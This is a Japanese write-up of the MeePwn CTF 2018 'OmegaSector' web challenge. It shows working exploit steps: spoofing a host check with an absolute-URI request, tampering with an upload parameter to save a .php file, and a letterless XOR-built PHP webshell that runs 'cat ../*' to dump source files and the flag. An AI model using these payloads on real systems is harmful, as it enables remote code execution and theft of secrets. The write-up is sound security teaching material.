MEEPWN CTF 2018 - OmegaSector
問題文
Wtf !? I just want to go to OmegaSector but there is weird authentication here, please help me http://138.68.228.12/
writeup
Stage1
HTMLソースを確認する。
<html> <style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> <head> <link rel="stylesheet" href="assets/omega_sector.css"> <link rel="stylesheet" href="assets/tsu_effect.css"> </head> <h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2><img src="assets/map.jpg" id="taxi" width="55%" height="55%" /><body background="assets/background.jpg" class="cenback"> </body> <!-- is_debug=1 --> <!-- All images/medias credit goes to nexon, wizet --> </html>
is_debug=1
のヒントを発見。
http://138.68.228.12/?is_debug=1
にアクセスする。
ソースコードが表示された。
<?php ob_start(); session_start(); ?> <html> <style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> <head> <link rel="stylesheet" href="assets/omega_sector.css"> <link rel="stylesheet" href="assets/tsu_effect.css"> </head> <?php ini_set("display_errors", 0); include('secret.php'); $remote=$_SERVER['REQUEST_URI']; if(strpos(urldecode($remote),'..')) { mapl_die(); } if(!parse_url($remote, PHP_URL_HOST)) { $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI']; } $whoareyou=parse_url($remote, PHP_URL_HOST); if($whoareyou==="alien.somewhere.meepwn.team") { if(!isset($_GET['alien'])) { $wrong = <<<EOF <h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2> <h1 id="main" class="shadow">Are You ALIEN??</h1> <form id="main"> <button type="submit" class="button-success" name="alien" value="Yes">Yes</button> <button type="submit" class="button-error" name="alien" value="No">No</button> </form> <img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> EOF; echo $wrong; } if(isset($_GET['alien']) and !empty($_GET['alien'])) { if($_GET['alien']==='@!#$@!@@') { $_SESSION['auth']=hash('sha256', 'alien'.$salt); exit(header( "Location: alien_sector.php" )); } else { mapl_die(); } } } elseif($whoareyou==="human.ludibrium.meepwn.team") { if(!isset($_GET['human'])) { echo ""; $wrong = <<<EOF <h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2> <h1 id="main" class="shadow">Are You Human?</h1> <form id="main"> <button type="submit" class="button-success" name="human" value="Yes">Yes</button> <button type="submit" class="button-error" name="human" value="No">No</button> </form> <img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> EOF; echo $wrong; } if(isset($_GET['human']) and !empty($_GET['human'])) { if($_GET['human']==='Yes') { $_SESSION['auth']=hash('sha256', 'human'.$salt); exit(header( "Location: omega_sector.php" )); } else { mapl_die(); } } } else { echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>'; echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />'; if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1") { show_source(__FILE__); } } ?> <body background="assets/background.jpg" class="cenback"> </body> <!-- is_debug=1 --> <!-- All images/medias credit goes to nexon, wizet --> </html> <?php ob_end_flush(); ?>
ソースコードを読み解くと、$_SERVER['REQUEST_URI']
を条件に、画面が変わるようだ。
alien.somewhere.meepwn.team
の場合は、エイリアン用の画面、
human.ludibrium.meepwn.team
の場合は、人間用の画面、
が表示される。
$_SERVER['REQUEST_URI']
は、HTTPリクエストヘッダーの、GETやPOSTのURIである。しかし、Webブラウザやcurlコマンドでアクセスすると、GETやPOSTのURIは/
から始まるパスになる。
そういえば、Honeypotのログを解析していると、http://
から始まるURIでアクセスしてくる場合があることを思い出す。何か方法があるのではと思い、http://
から始まる絶対パスでアクセスする方法を探すと、以下のページがヒット。色々、役に立つものだ。
php - How to force cURL to send a complete URL as request target? - Stack Overflow
参考にして、以下のスクリプトを作成する。
合わせて、セッションのauth
をセットするためのalien
パラメータを付与する。
<?php $host = '138.68.228.12'; $path = 'http://alien.somewhere.meepwn.team/?alien=%40!%23%24%40!%40%40'; #$path = 'http://human.ludibrium.meepwn.team/?human=Yes'; $fp = fsockopen($host, 80); fputs($fp, "GET $path HTTP/1.1\r\n"); fputs($fp, "Host: $host\r\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: 0\r\n"); fputs($fp, "Connection: close\r\n\r\n"); $result = ''; while(!feof($fp)) { $result .= fgets($fp, 128); } fclose($fp); echo $result; ?>
実行する。
root@kali:OmegaSector# php curl_absolute.php HTTP/1.1 302 Found Date: Sun, 15 Jul 2018 17:09:05 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=41ni0sv31e0h97iraa22tvpse3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: alien_sector.php Content-Length: 230 Connection: close Content-Type: text/html; charset=UTF-8 <html> <style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> <head> <link rel="stylesheet" href="assets/omega_sector.css"> <link rel="stylesheet" href="assets/tsu_effect.css"> </head>
認証済みのPHPSESSIDである41ni0sv31e0h97iraa22tvpse3
をゲット。
Stage2
WebブラウザにPHPSESSIDをセットして、alien_sector.php
にアクセス。
文字列を入力可能なテキストエリアが表示される。エイリアン用のフォントになっているようで、そのままだと読めないが、コピペするなりHTMLソースから読む。色々と入力を試すと、以下のことがわかる。
- a-zA-z0-9は入力不可。記号のみ。
- 入力可能な文字数は40文字まで。
- 入力に成功すると、入力文字列のテキストを使用して、
/alien_message/ハッシュ値.alien
のファイルを作成。
また、Fiddlerでリクエストデータを解析すると、入力文字列であるmessage
パラメータ以外に、type
パラメータにalien
をセットしていることがわかる。
type
パラメータを改ざんすると、作成されるファイルの拡張子が変わった。
よって、type
パラメータをphp
に変更することで、任意のphpコードが実行可能である。
なお、human.ludibrium.meepwn.team
でアクセスする人間用のページもあったが、こちらは逆にa-zA-Z0-9しか入力できず、PHPコードは作れないため、使用しなかった。
Stage3
記号のみでPHPコードを作ればよい。
PHPヘッダーは<?php
から始まるが、php
はアルファベットであり使用できないため、<?= =?>
で代替することにした。以下を参照。
ここからだいぶ悩んだが、チームメンバーから以下のヒントをもらった。
[Bypass WAF] Php webshell without numbers and letters • Penetration Testing
記号と記号のXORでアルファベットを錬成するアイデア。
試行錯誤した結果、以下の方法でcat ../
の文字列を錬成することに成功。
なお、サラッと書いているが、ここら辺は、ものすごい時間がかかっている。
php > echo(('<>+'^'___').' ../*'); cat ../*
作成するPHPファイルに埋め込むソースの全体は以下の通りとなる。
<?=$_=('<>+'^'___').' ../*'?><?=`$_`?>
PHPファイル生成のリクエストを発行する。なお、HTTPエンコード済み。
root@kali:OmegaSector# curl http://138.68.228.12/alien_sector.php -H "Cookie: PHPSESSID=41ni0sv31e0h97iraa22tvpse3" -d "type=php" -d "message=%3C%3F%3D%24_%3D('%3C%3E%2B'%5E'___').'%20..%2F*'%3F%3E%3C%3F%3D%60%24_%60%3F%3E" ]<html> <style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> <head> <link rel="stylesheet" href="assets/omega_sector.css"> <link rel="stylesheet" href="assets/tsu_effect.css"> </head> <h2 id="intro" class="alien_language">Saved in alien_message/0747cd11edbf2310cdca76c274f44201.php</h2><div class="alien_language"> <h2 id="intro" class="neon">Looks like the aliens aren't here, so please leave the message, they will come later.</h2> </div> <form action="alien_sector.php" method="POST"> <textarea class="shadow" id="main" name="message"></textarea> <input type='text' name='type' value='alien' hidden /> <button type="submit" id="button"><div class="alien_language">Save</div></button> </form> <body background="assets/alien_sector.jpg" class="cenback"></body> <audio controls autoplay hidden> <source src="assets/omegasector.mp3" type="audio/mpeg"> </audio> </html>
PHPファイルができたのでアクセスする。
root@kali:OmegaSector# curl http://138.68.228.12/alien_message/0747cd11edbf2310cdca76c274f44201.php cat ../*<?php ob_start(); session_start(); ?> <html> <style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> <head> (snip) <?php ob_end_flush(); ?><?php $salt='G0g0_M3s0sr4ng3rS_1337'; $omega_sector_flag="MeePwnCTF{__133-221-333-123-111___}"; //Don't attack further after captured our flag, or we will find you and we will kill you... oops, i mean ban you ^_^. function mapl_die() { $wrong = <<<EOF <body background="assets/wrong.jpg" class="cenback"></body> EOF; die($wrong); } ?>
saltが格納されているsecret.php内にフラグがあったようだ。
$omega_sector_flag="MeePwnCTF{__133-221-333-123-111___}";
フラグゲット。